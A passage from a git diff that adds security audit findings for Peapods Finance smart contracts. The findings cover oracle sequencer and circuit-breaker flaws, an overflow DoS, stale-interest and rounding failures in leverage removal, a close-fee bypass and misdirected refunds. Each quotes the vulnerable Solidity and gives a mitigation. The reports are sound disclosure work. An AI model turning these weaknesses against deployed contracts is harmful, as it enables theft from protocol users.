+ // adjust current price for spTKN pod unwrap fee, which will end up making the end price
+ // (spTKN per base) higher, meaning it will take more spTKN to equal the value
+ // of base token. This will more accurately ensure healthy LTVs when lending since
+ // a liquidation path will need to account for unwrap fees
+ _basePerPTkn18 = _accountForUnwrapFeeInPrice(pod, _basePerPTkn18);
+ }
+```
+
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Oracle for pairedLpTKN -> pTKN swap slippage is incorrect. The slippage result is underestimated. This may lead to sandwich opportunities for attackers.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Also multiply the asset/share ratio for podded/fraxlend pair tokens as pairedLpTKN.
diff --git a/479.md b/479.md
new file mode 100644
index 0000000..b25215b
--- /dev/null
+++ b/479.md
@@ -0,0 +1,123 @@
+Keen Jetblack Deer
+
+Medium
+
+# Oracle sequencer check is incomplete.
+
+
+### Summary
+
+Oracle sequencer check is incomplete.
+
+### Root Cause
+
+`ChainlinkSinglePriceOracle` has implemented a sequencer check. However, this is only used in `ChainlinkSinglePriceOracle`, and not in `UniswapV3SinglePriceOracle` and `DIAOracleV2SinglePriceOracle`.
+
+When `getPriceUSD18()` is called for both `UniswapV3SinglePriceOracle` and `DIAOracleV2SinglePriceOracle`, if `_clBaseConversionPoolPriceFeed` is called, it will do a chainlink oracle lookup by the `_getChainlinkPriceFeedPrice18()` function to update the returned price. This is not guarded by the sequencer check.
+
+If the sequencer goes down, oracle data will not be updated, and could become stale. Attackers could take advantage of the stale price and carry out attacks, such as borrowing more against their collateral's value.
+
+Also, for Arbitrum sequencer, it should check for `startedAt=0` case, as written in chainlink docs: https://docs.chain.link/data-feeds/l2-sequencer-feeds. It may happen that `answer=0` but sequencer is not up because `startedAt=0` for Arbitrum sequencer.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/ChainlinkSinglePriceOracle.sol#L84
+
+```solidity
+ function _getChainlinkPriceFeedPrice18(address _priceFeed)
+ internal
+ view
+ returns (uint256 _price18, uint256 _updatedAt, bool _isBadAnswer)
+ {
+ uint8 _decimals = AggregatorV2V3Interface(_priceFeed).decimals();
+ (, int256 _price,, uint256 _lastUpdated,) = AggregatorV2V3Interface(_priceFeed).latestRoundData();
+ _isBadAnswer = _price <= 0 || !_isValidAnswer(_priceFeed, _price);
+ _price18 = (uint256(_price) * 10 ** 18) / 10 ** _decimals;
+ _updatedAt = _lastUpdated;
+ }
+
+ function _sequencerCheck() internal view {
+ if (address(_sequencerUptimeFeed) == address(0)) {
+ return;
+ }
+
+ (
+ ,
+ /*uint80 roundID*/
+ int256 answer,
+ uint256 _startedAt, /*uint256 updatedAt*/ /*uint80 answeredInRound*/
+ ,
+ ) = _sequencerUptimeFeed.latestRoundData();
+
+ // Answer == 0: Sequencer is up
+ // Answer == 1: Sequencer is down
+ bool _isSequencerUp = answer == 0;
+ if (!_isSequencerUp) {
+ revert SequencerDown();
+ }
+
+ // Make sure the grace period has passed after the
+ // sequencer is back up.
+ uint256 _timeSinceUp = block.timestamp - _startedAt;
+ if (_timeSinceUp <= SEQ_GRACE_PERIOD) {
+ revert GracePeriodNotOver();
+ }
+ }
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/UniswapV3SinglePriceOracle.sol#L26
+
+```solidity
+ function getPriceUSD18(
+ address _clBaseConversionPoolPriceFeed,
+ address _quoteToken,
+ address _quoteV3Pool,
+ uint256 _twapInterval
+ ) external view virtual override returns (bool _isBadData, uint256 _price18) {
+ ...
+ if (_clBaseConversionPoolPriceFeed != address(0)) {
+@> (_basePrice18, _updatedAt, _isBadData) = _getChainlinkPriceFeedPrice18(_clBaseConversionPoolPriceFeed);
+ }
+ ...
+ }
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/DIAOracleV2SinglePriceOracle.sol#L31
+
+```solidity
+ function getPriceUSD18(
+ address _clBaseConversionPoolPriceFeed,
+ address _quoteToken,
+ address _quoteDIAOracle,
+ uint256
+ ) external view virtual override returns (bool _isBadData, uint256 _price18) {
+ ...
+ if (_clBaseConversionPoolPriceFeed != address(0)) {
+@> (_basePrice18, _updatedAt, _isBadDataBase) = _getChainlinkPriceFeedPrice18(_clBaseConversionPoolPriceFeed);
+ ...
+ }
+ }
+```
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Oracle data may be incorrect, and attackers could take advantage of the stale price and carry out attacks, such as borrowing more against their collateral's value.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+1. Move the `_sequencerCheck()` function in `_getChainlinkPriceFeedPrice18()`
+2. Check startedAt=0 to handle Arbitrum chain.
\ No newline at end of file
diff --git a/480.md b/480.md
new file mode 100644
index 0000000..cc551fb
--- /dev/null
+++ b/480.md
@@ -0,0 +1,61 @@
+Keen Jetblack Deer
+
+Medium
+
+# Oracle circuit breaker check (minAnswer, maxAnswer) is incorrect.
+
+
+### Summary
+
+Oracle circuit breaker check (minAnswer, maxAnswer) is incorrect.
+
+### Root Cause
+
+`ChainlinkSinglePriceOracle` implemented a check for circuit breaker, the minAnswer, maxAnswer check. However, this check is wrong.
+
+A simple introduction to the circuit breaker mechanism in Chainlink: For some data feed aggregators, there is a `minAnswer/maxAnswer` check, that if the oracle price feed falls out of range, it will simply return the `minAnswer/maxAnswer`. For example, if the price falls below `minAnswer`, the oracle will simply return `minAnswer`. See https://docs.chain.link/data-feeds#check-the-latest-answer-against-reasonable-limits for more details.
+
+The current check is `if (_answer > _max || _answer < _min)`. However, according to how circuit breakers work, this would never happen, because if the price falls out of the range, it would simply return `_max` and `_min`. The correct check should be `if (_answer >= _max || _answer <= _min)`.
+
+Some examples that still have minAnswer/maxAnswer is the [AAVE/USD](https://arbiscan.io/address/0x3c6AbdA21358c15601A3175D8dd66D0c572cc904#readContract) pair on Arbitrum. The minAnswer is 100000000, maxAnswer is 10000000000000 with a decimal of 8. If AAVE is the underlyingTKN of a pod, with USDC as pairedLpTKN, and supports LVF feature, this oracle would be used.
+
+Note that in history, the circuit breaker caused this issue https://rekt.news/venus-blizz-rekt/ during the LUNA crash.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/ChainlinkSinglePriceOracle.sol#L112
+
+```solidity
+ function _isValidAnswer(address _feed, int256 _answer) internal view returns (bool _isValid) {
+ _isValid = true;
+ int192 _min = IOffchainAggregator(IEACAggregatorProxy(_feed).aggregator()).minAnswer();
+ int192 _max = IOffchainAggregator(IEACAggregatorProxy(_feed).aggregator()).maxAnswer();
+
+ if (_answer > _max || _answer < _min) {
+ _isValid = false;
+ }
+ }
+```
+
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Oracle would return incorrect price if price falls out of range, which affects lending market.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Change to `if (_answer >= _max || _answer <= _min)`.
\ No newline at end of file
diff --git a/481.md b/481.md
new file mode 100644
index 0000000..cc1f255
--- /dev/null
+++ b/481.md
@@ -0,0 +1,57 @@
+Keen Jetblack Deer
+
+Medium
+
+# Overflow in ChainlinkPriceFeed causes DoS.
+
+
+### Summary
+
+Overflow in ChainlinkPriceFeed causes DoS.
+
+### Root Cause
+
+In spTKNMinimalOracle, there is a dual oracle mechanism, where two oracles are setup, and if one of them fails due to bad data or stale data, the other one is used.
+
+In ChainlinkSinglePriceOracle, if the `_price` returns a negative answer, this should be considered bad answer, and try to use the other oracle answer. However, the current code will just fail due to overflow, and would DoS in this scenario.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/ChainlinkSinglePriceOracle.sol#L72
+
+```solidity
+ function _getChainlinkPriceFeedPrice18(address _priceFeed)
+ internal
+ view
+ returns (uint256 _price18, uint256 _updatedAt, bool _isBadAnswer)
+ {
+ uint8 _decimals = AggregatorV2V3Interface(_priceFeed).decimals();
+ (, int256 _price,, uint256 _lastUpdated,) = AggregatorV2V3Interface(_priceFeed).latestRoundData();
+ _isBadAnswer = _price <= 0 || !_isValidAnswer(_priceFeed, _price);
+@> _price18 = (uint256(_price) * 10 ** 18) / 10 ** _decimals;
+ _updatedAt = _lastUpdated;
+ }
+```
+
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+- Chainlink oracle returns a negative answer.
+
+### Attack Path
+
+N/A
+
+### Impact
+
+The spTKNMinimalOracle, which has two oracle as backups of each other, would DoS if one of the oracles return a negative value.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+If `_isBadAnswer = true`, simply return 0 as price.
\ No newline at end of file
diff --git a/482.md b/482.md
new file mode 100644
index 0000000..7613c8e
--- /dev/null
+++ b/482.md
@@ -0,0 +1,158 @@
+Keen Jetblack Deer
+
+Medium
+
+# LeverageManager removeLeverage feature will often fail due to cached addInterest mechanism for FraxlendPair.
+
+
+### Summary
+
+LeverageManager removeLeverage feature will often fail due to cached addInterest mechanism for FraxlendPair.
+
+### Root Cause
+
+First we need to understand the workflow of removeLeverage in LeverageManager.
+
+1. Borrow `_borrowAssetAmt` underlying token from flashloan source.
+2. Repay these tokens to FraxlendPair.
+3. Withdraw collateral, and convert the collateral to underlying token to repay flashloan.
+
+The issue here is in step 2. In Fraxlend, when repaying asset, we need to specify the borrowed share amount instead of the borrowed asset amount. So we need to calculate the amount of shares that `_borrowAssetAmt` corresponds to.
+
+We can see that in `removeLeverage()` function, it first calls the external `FraxlendPair.addInterest()` function to update interest, then use `IFraxlendPair(_lendingPair).totalBorrow().toShares(_borrowAssetAmt, false)` to calculate shares.
+
+The bug here is, the external `FraxlendPair.addInterest()` has a cache mechanism, if the utilization does not change above a threshold, it would not trigger the internal addInterest function. This mechanism is designed to save gas in LendingAssetVault, but it introduces a new bug here. Because the interest is not updated, the cbr would be smaller than expected, and the repay shares would be larger than expected (shares = asset / cbr), so when repaying shares, it would lead to a DoS because we don't have enough asset tokens.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L1
+
+```solidity
+ function removeLeverage(
+ uint256 _positionId,
+ uint256 _borrowAssetAmt,
+ uint256 _collateralAssetRemoveAmt,
+ uint256 _podAmtMin,
+ uint256 _pairedAssetAmtMin,
+ uint256 _podSwapAmtOutMin,
+ uint256 _userProvidedDebtAmtMax
+ ) external override workflow(true) {
+
+ ...
+ address _lendingPair = positionProps[_positionId].lendingPair;
+@> IFraxlendPair(_lendingPair).addInterest(false);
+
+ ...
+ // needed to repay flash loaned asset in lending pair
+ // before removing collateral and unwinding
+ IERC20(_borrowTkn).safeIncreaseAllowance(_lendingPair, _borrowAssetAmt);
+
+ ...
+ bytes memory _additionalInfo = abi.encode(
+@> IFraxlendPair(_lendingPair).totalBorrow().toShares(_borrowAssetAmt, false),
+ _collateralAssetRemoveAmt,
+ _podAmtMin,
+ _pairedAssetAmtMin,
+ _podSwapAmtOutMin,
+ _userProvidedDebtAmtMax
+ );
+ IFlashLoanSource(_getFlashSource(_positionId)).flash(
+ _borrowTkn, _borrowAssetAmt, address(this), abi.encode(_props, _additionalInfo)
+ );
+ }
+
+ function _removeLeveragePostCallback(bytes memory _userData)
+ internal
+ returns (uint256 _podAmtRemaining, uint256 _borrowAmtRemaining)
+ {
+ IFlashLoanSource.FlashData memory _d = abi.decode(_userData, (IFlashLoanSource.FlashData));
+ (LeverageFlashProps memory _props, bytes memory _additionalInfo) =
+ abi.decode(_d.data, (LeverageFlashProps, bytes));
+ (
+ uint256 _borrowSharesToRepay,
+ uint256 _collateralAssetRemoveAmt,
+ uint256 _podAmtMin,
+ uint256 _pairedAssetAmtMin,
+ uint256 _podSwapAmtOutMin,
+ uint256 _userProvidedDebtAmtMax
+ ) = abi.decode(_additionalInfo, (uint256, uint256, uint256, uint256, uint256, uint256));
+
+ LeveragePositionProps memory _posProps = positionProps[_props.positionId];
+
+ // allowance increases for _borrowAssetAmt prior to flash loaning asset
+
+ // @audit-bug: This would fail if interest fails to update.
+@> IFraxlendPair(_posProps.lendingPair).repayAsset(_borrowSharesToRepay, _posProps.custodian);
+ LeveragePositionCustodian(_posProps.custodian).removeCollateral(
+ _posProps.lendingPair, _collateralAssetRemoveAmt, address(this)
+ );
+ ...
+ }
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol
+
+```solidity
+ function addInterest(bool _returnAccounting)
+ external
+ nonReentrant
+ returns (
+ uint256 _interestEarned,
+ uint256 _feesAmount,
+ uint256 _feesShare,
+ CurrentRateInfo memory _currentRateInfo,
+ VaultAccount memory _totalAsset,
+ VaultAccount memory _totalBorrow
+ )
+ {
+ _currentRateInfo = currentRateInfo;
+ // the following checks whether the current utilization rate against the new utilization rate
+ // (including external assets available) exceeds a threshold and only updates interest if so.
+ // With this enabled, it's obviously possible for there to be some level of "unfair" interest
+ // paid by borrowers and/or earned by suppliers, but the idea is this unfairness
+ // should theoretically be negligible within some level of error and therefore it won't matter.
+ // This is in place to support lower gas & more arbitrage volume through the pair since arbitrage
+ // would many times only occur with small changes in asset supply or borrowed positions.
+ uint256 _currentUtilizationRate = _prevUtilizationRate;
+ uint256 _totalAssetsAvailable = totalAsset.totalAmount(address(externalAssetVault));
+ uint256 _newUtilizationRate =
+ _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * totalBorrow.amount) / _totalAssetsAvailable;
+ uint256 _rateChange = _newUtilizationRate > _currentUtilizationRate
+ ? _newUtilizationRate - _currentUtilizationRate
+ : _currentUtilizationRate - _newUtilizationRate;
+@> if (
+ _currentUtilizationRate != 0
+ && _rateChange < _currentUtilizationRate * minURChangeForExternalAddInterest / UTIL_PREC
+ ) {
+ emit SkipAddingInterest(_rateChange);
+ } else {
+ (, _interestEarned, _feesAmount, _feesShare, _currentRateInfo) = _addInterest();
+ }
+ if (_returnAccounting) {
+ _totalAsset = totalAsset;
+ _totalBorrow = totalBorrow;
+ }
+ }
+```
+
+### Internal pre-conditions
+
+- When user triggers removeLeverage, the FraxlendPair `addInterest()` is cached and does not actually updates the latest interest.
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+removeLeverage feature will often fail due to not enough repay asset tokens.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Use `FraxlendPair.convertToShares()` to calculate shares. This function supports previewing interest.
\ No newline at end of file
diff --git a/483.md b/483.md
new file mode 100644
index 0000000..0be6891
--- /dev/null
+++ b/483.md
@@ -0,0 +1,96 @@
+Keen Jetblack Deer
+
+Medium
+
+# LeverageManager removeLeverage cannot be used to fully repay the position.
+
+
+### Summary
+
+LeverageManager removeLeverage cannot be used to fully repay the position, there will almost always be leftover borrowed tokens.
+
+### Root Cause
+
+First we need to understand the workflow of removeLeverage in LeverageManager.
+
+1. Borrow `_borrowAssetAmt` underlying token from flashloan source.
+2. Repay these tokens to FraxlendPair.
+3. Withdraw collateral, and convert the collateral to underlying token to repay flashloan.
+
+The issue here is in between step 1 and 2. If users specify a `_borrowAssetAmt` larger than borrowed amount, the repay would fail because user didn't borrow that many tokens. If users specify the `_borrowAssetAmt` equal to user's borrowed amount during transaction init, due to blockchain latency, interest will accrue, and the actual borrowed amount would increase, so there would always be leftover tokens.
+
+This means a user can't use removeLeverage to close the position, nor collect the collateral, there would always be dust leftover.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L1
+
+```solidity
+ function removeLeverage(
+ uint256 _positionId,
+ uint256 _borrowAssetAmt,
+ uint256 _collateralAssetRemoveAmt,
+ uint256 _podAmtMin,
+ uint256 _pairedAssetAmtMin,
+ uint256 _podSwapAmtOutMin,
+ uint256 _userProvidedDebtAmtMax
+ ) external override workflow(true) {
+ address _sender = _msgSender();
+ address _owner = positionNFT.ownerOf(_positionId);
+ require(
+ _owner == _sender || positionNFT.getApproved(_positionId) == _sender
+ || positionNFT.isApprovedForAll(_owner, _sender),
+ "A1"
+ );
+
+ address _lendingPair = positionProps[_positionId].lendingPair;
+ IFraxlendPair(_lendingPair).addInterest(false);
+
+ // if additional fees required for flash source, handle that here
+ _processExtraFlashLoanPayment(_positionId, _sender);
+
+ address _borrowTkn = _getBorrowTknForPod(_positionId);
+
+ // needed to repay flash loaned asset in lending pair
+ // before removing collateral and unwinding
+ IERC20(_borrowTkn).safeIncreaseAllowance(_lendingPair, _borrowAssetAmt);
+
+ LeverageFlashProps memory _props;
+ _props.method = FlashCallbackMethod.REMOVE;
+ _props.positionId = _positionId;
+ _props.owner = _owner;
+ bytes memory _additionalInfo = abi.encode(
+@> IFraxlendPair(_lendingPair).totalBorrow().toShares(_borrowAssetAmt, false),
+ _collateralAssetRemoveAmt,
+ _podAmtMin,
+ _pairedAssetAmtMin,
+ _podSwapAmtOutMin,
+ _userProvidedDebtAmtMax
+ );
+ IFlashLoanSource(_getFlashSource(_positionId)).flash(
+ _borrowTkn, _borrowAssetAmt, address(this), abi.encode(_props, _additionalInfo)
+ );
+ }
+```
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Users can't fully close the position from removeLeverage() function, and the position would always have collateral that can't be fully withdrawn.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+If `_borrowAssetAmt` is larger than amount of borrowed tokens, set it to the amount of borrowed tokens.
diff --git a/484.md b/484.md
new file mode 100644
index 0000000..be2e6bc
--- /dev/null
+++ b/484.md
@@ -0,0 +1,96 @@
+Keen Jetblack Deer
+
+Medium
+
+# LeverageManager leftover pTKN during addLeverage should be repayed to msgSender instead of position owner.
+
+the owner's behalf. In the addLeverage scenario, a delegatee can borrow tokens for another owner's position.
+
+The issue here is, the leftover pTKNs, that are provided by the delegatee, should be sent back to the delegatee, but currently it is sent to position owner.
+
+It makes sense to send the leftover borrowedTKNs to the position owner, because it is borrowed from the owner's position. But the pTKNs belongs to the delegatee the entire time, so it should be sent back to the delegatee.
+
+As for why there may be leftover pTKNs, it is because when adding {pTKN, pairedLpTKN} to form spTKN, the ratio dynamically changes. So in order to make sure the transaction always go through, it is natural for the delegatee to provide more pTKN than required.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L1
+
+```solidity
+ function _addLeveragePreCallback(
+ address _sender,
+ uint256 _positionId,
+ address _pod,
+ uint256 _pTknAmt,
+ uint256 _pairedLpDesired,
+ uint256 _userProvidedDebtAmt,
+ bool _hasSelfLendingPairPod,
+ bytes memory _config
+ ) internal {
+ if (_positionId == 0) {
+ _positionId = _initializePosition(_pod, _sender, address(0), _hasSelfLendingPairPod);
+ } else {
+ address _owner = positionNFT.ownerOf(_positionId);
+ require(
+ _owner == _sender || positionNFT.getApproved(_positionId) == _sender
+ || positionNFT.isApprovedForAll(_owner, _sender),
+ "A3"
+ );
+ _pod = positionProps[_positionId].pod;
+ }
+ require(_getFlashSource(_positionId) != address(0), "FSV");
+
+ if (_userProvidedDebtAmt > 0) {
+ IERC20(_getBorrowTknForPod(_positionId)).safeTransferFrom(_sender, address(this), _userProvidedDebtAmt);
+ }
+
+ // if additional fees required for flash source, handle that here
+ _processExtraFlashLoanPayment(_positionId, _sender);
+
+ IFlashLoanSource(_getFlashSource(_positionId)).flash(
+ _getBorrowTknForPod(_positionId),
+ _pairedLpDesired - _userProvidedDebtAmt,
+ address(this),
+ _getFlashDataAddLeverage(_positionId, _sender, _pTknAmt, _pairedLpDesired, _config)
+ );
+ }
+
+ function callback(bytes memory _userData) external override workflow(false) {
+ IFlashLoanSource.FlashData memory _d = abi.decode(_userData, (IFlashLoanSource.FlashData));
+ (LeverageFlashProps memory _posProps,) = abi.decode(_d.data, (LeverageFlashProps, bytes));
+
+ address _pod = positionProps[_posProps.positionId].pod;
+
+ require(_getFlashSource(_posProps.positionId) == _msgSender(), "A2");
+
+ if (_posProps.method == FlashCallbackMethod.ADD) {
+ // @audit-bug: This should be sent back to msgSender.
+@> uint256 _ptknRefundAmt = _addLeveragePostCallback(_userData);
+ if (_ptknRefundAmt > 0) {
+ IERC20(_pod).safeTransfer(_posProps.owner, _ptknRefundAmt);
+ }
+ }...
+ }
+```
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+If a delegatee addLeverage for a delegator's position, if there are leftover pTKNs that should still belong to the delegatee, it is sent to the position owner instead.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Transfer the pTKN back to delegatee (msgSender) instead.
diff --git a/485.md b/485.md
new file mode 100644
index 0000000..157c910
--- /dev/null
+++ b/485.md
@@ -0,0 +1,100 @@
+Keen Jetblack Deer
+
+Medium
+
+# LeverageManager closeFee is only collected for pTKN, which can be easily bypassed.
+
+
+### Summary
+
+LeverageManager closeFee is only collected for pTKN, which can be easily bypassed.
+
+### Root Cause
+
+First we need to understand the workflow of removeLeverage in LeverageManager.
+
+1. Borrow `_borrowAssetAmt` underlying token from flashloan source.
+2. Repay these tokens to FraxlendPair.
+3. Withdraw collateral (aspTKN) to borrowedTKN and pTKN. If borrowedTKN is not enough to repay the flashloan, swap pTKN to borrowedTKN.
+4. Repay flashloan.
+5. Send leftover borrowedTKN and pTKN back to position owner.
+
+In step 5, a closeFee is charged. However, this is charged only for pTKN. Users can easily bypass this if he swaps most or all of pTKN to borrowedTKN in step 3. This can be set by setting a large `_podSwapAmtOutMin` for the pTKN -> borrowedTKN swap.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L1
+
+```solidity
+ function callback(bytes memory _userData) external override workflow(false) {
+ IFlashLoanSource.FlashData memory _d = abi.decode(_userData, (IFlashLoanSource.FlashData));
+ (LeverageFlashProps memory _posProps,) = abi.decode(_d.data, (LeverageFlashProps, bytes));
+
+ address _pod = positionProps[_posProps.positionId].pod;
+
+ require(_getFlashSource(_posProps.positionId) == _msgSender(), "A2");
+
+ if (_posProps.method == FlashCallbackMethod.ADD) {
+ uint256 _ptknRefundAmt = _addLeveragePostCallback(_userData);
+ if (_ptknRefundAmt > 0) {
+ IERC20(_pod).safeTransfer(_posProps.owner, _ptknRefundAmt);
+ }
+ } else if (_posProps.method == FlashCallbackMethod.REMOVE) {
+ (uint256 _ptknToUserAmt, uint256 _pairedLpToUser) = _removeLeveragePostCallback(_userData);
+ if (_ptknToUserAmt > 0) {
+ // if there's a close fee send returned pod tokens for fee to protocol
+@> if (closeFeePerc > 0) {
+ uint256 _closeFeeAmt = (_ptknToUserAmt * closeFeePerc) / 1000;
+ IERC20(_pod).safeTransfer(feeReceiver, _closeFeeAmt);
+ _ptknToUserAmt -= _closeFeeAmt;
+ }
+ IERC20(_pod).safeTransfer(_posProps.owner, _ptknToUserAmt);
+ }
+ // @audit-bug: closeFee is not charged for borrowedTKN.
+ if (_pairedLpToUser > 0) {
+@> IERC20(_getBorrowTknForPod(_posProps.positionId)).safeTransfer(_posProps.owner, _pairedLpToUser);
+ }
+ } else {
+ require(false, "NI");
+ }
+ }
+
+ function _swapPodForBorrowToken(
+ address _pod,
+ address _targetToken,
+ uint256 _podAmt,
+ uint256 _targetNeededAmt,
+ uint256 _podSwapAmtOutMin
+ ) internal returns (uint256 _podRemainingAmt) {
+ IDexAdapter _dexAdapter = IDecentralizedIndex(_pod).DEX_HANDLER();
+ uint256 _balBefore = IERC20(_pod).balanceOf(address(this));
+ IERC20(_pod).safeIncreaseAllowance(address(_dexAdapter), _podAmt);
+@> _dexAdapter.swapV2SingleExactOut(
+ _pod, _targetToken, _podAmt, _podSwapAmtOutMin == 0 ? _targetNeededAmt : _podSwapAmtOutMin, address(this)
+ );
+ _podRemainingAmt = _podAmt - (_balBefore - IERC20(_pod).balanceOf(address(this)));
+ }
+
+```
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+User can set a large `_podSwapAmtOutMin` so most of the pTKN is swapped to borrowTKN, to bypass closeFee.
+
+### Impact
+
+User can bypass closeFee when removing leverage.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Also charge closeFee for leftover borrowedTKN.
diff --git a/486.md b/486.md
new file mode 100644
index 0000000..034d27a
--- /dev/null
+++ b/486.md
@@ -0,0 +1,132 @@
+Keen Jetblack Deer
+
+Medium
+
+# LeverageManager remove leverage may fail for self-lending pods due to not enough tokens for repaying flashloan.
+
+
+### Summary
+
+LeverageManager remove leverage may fail for self-lending pods due to not enough tokens for repaying flashloan.
+
+### Root Cause
+
+First we need to understand the workflow of removeLeverage in LeverageManager.
+
+1. Borrow `_borrowAssetAmt` underlying token from flashloan source.
+2. Repay these tokens to FraxlendPair.
+3. Withdraw collateral (aspTKN) to borrowedTKN and pTKN. If borrowedTKN is not enough to repay the flashloan, swap pTKN to borrowedTKN.
+4. Repay flashloan.
+5. Send leftover borrowedTKN and pTKN back to position owner.
+
+In step 3, we calculate the amount of borrowedTKNs that are short, and set that to the exact output of the pTKN -> borrowedTKN swap. However, in self-lending pods, since the pairedLpTKN is an fraxlend pair fTKN, we need to calculate how much fTKN shares are required to redeem borrowedTKNs.
+
+The bug here is when calculating fTKN shares, `FraxlendPair.convertToShares()` is used, which rounds DOWN. This means we will very likely miss the amount of repayed borrowedTKN by a couple of wei, which means we will fail to repay the flashloan.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol
+
+```solidity
+ function _acquireBorrowTokenForRepayment(
+ LeverageFlashProps memory _props,
+ address _pod,
+ address _borrowToken,
+ uint256 _borrowNeeded,
+ uint256 _podAmtReceived,
+ uint256 _podSwapAmtOutMin,
+ uint256 _userProvidedDebtAmtMax
+ ) internal returns (uint256 _podAmtRemaining) {
+ _podAmtRemaining = _podAmtReceived;
+ uint256 _borrowAmtNeededToSwap = _borrowNeeded;
+ if (_userProvidedDebtAmtMax > 0) {
+ uint256 _borrowAmtFromUser =
+ _userProvidedDebtAmtMax >= _borrowNeeded ? _borrowNeeded : _userProvidedDebtAmtMax;
+ _borrowAmtNeededToSwap -= _borrowAmtFromUser;
+ IERC20(_borrowToken).safeTransferFrom(_props.sender, address(this), _borrowAmtFromUser);
+ }
+ // sell pod token into LP for enough borrow token to get enough to repay
+ // if self-lending swap for lending pair then redeem for borrow token
+ if (_borrowAmtNeededToSwap > 0) {
+ if (_isPodSelfLending(_props.positionId)) {
+ _podAmtRemaining = _swapPodForBorrowToken(
+ _pod,
+ positionProps[_props.positionId].lendingPair,
+ _podAmtReceived,
+ // @audit-bug: This rounds down, which is wrong. This will lead to not enough repay tokens.
+@> IFraxlendPair(positionProps[_props.positionId].lendingPair).convertToShares(_borrowAmtNeededToSwap),
+ _podSwapAmtOutMin
+ );
+ IFraxlendPair(positionProps[_props.positionId].lendingPair).redeem(
+ IERC20(positionProps[_props.positionId].lendingPair).balanceOf(address(this)),
+ address(this),
+ address(this)
+ );
+ } else {
+ _podAmtRemaining = _swapPodForBorrowToken(
+ _pod, _borrowToken, _podAmtReceived, _borrowAmtNeededToSwap, _podSwapAmtOutMin
+ );
+ }
+ }
+ }
+
+
+ function _swapPodForBorrowToken(
+ address _pod,
+ address _targetToken,
+ uint256 _podAmt,
+ uint256 _targetNeededAmt,
+ uint256 _podSwapAmtOutMin
+ ) internal returns (uint256 _podRemainingAmt) {
+ IDexAdapter _dexAdapter = IDecentralizedIndex(_pod).DEX_HANDLER();
+ uint256 _balBefore = IERC20(_pod).balanceOf(address(this));
+ IERC20(_pod).safeIncreaseAllowance(address(_dexAdapter), _podAmt);
+ _dexAdapter.swapV2SingleExactOut(
+ _pod, _targetToken, _podAmt, _podSwapAmtOutMin == 0 ? _targetNeededAmt : _podSwapAmtOutMin, address(this)
+ );
+ _podRemainingAmt = _podAmt - (_balBefore - IERC20(_pod).balanceOf(address(this)));
+ }
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPair.sol#L225
+
+```solidity
+ function toAssetShares(uint256 _amount, bool _roundUp, bool _previewInterest)
+ public
+ view
+ returns (uint256 _shares)
+ {
+ if (_previewInterest) {
+ (,,,, VaultAccount memory _totalAsset,) = previewAddInterest();
+ _shares = _totalAsset.toShares(_amount, _roundUp);
+ } else {
+ _shares = totalAsset.toShares(_amount, _roundUp);
+ }
+ }
+
+ function convertToShares(uint256 _assets) external view returns (uint256 _shares) {
+ _shares = toAssetShares(_assets, false, true);
+ }
+```
+
+### Internal pre-conditions
+
+- Self-lending pods are used, and when removing leverage, a pTKN -> pairedLpTKN swap is required to acquire more borrowTKN for flashloan repay.
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+removeLeverage will fail to repay flashloan for self-lending pods.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Round up when calculating shares.
\ No newline at end of file
diff --git a/487.md b/487.md
new file mode 100644
index 0000000..d781d55
--- /dev/null
+++ b/487.md
@@ -0,0 +1,105 @@
+Keen Jetblack Deer
+
+Medium
+
+# LeverageManager removeLeverage does not support advanced self-lending pods with podded fTKN as pairedLpTKN.
+
+
+### Summary
+
+LeverageManager removeLeverage does not support advanced self-lending pods with podded fTKN as pairedLpTKN.
+
+### Root Cause
+
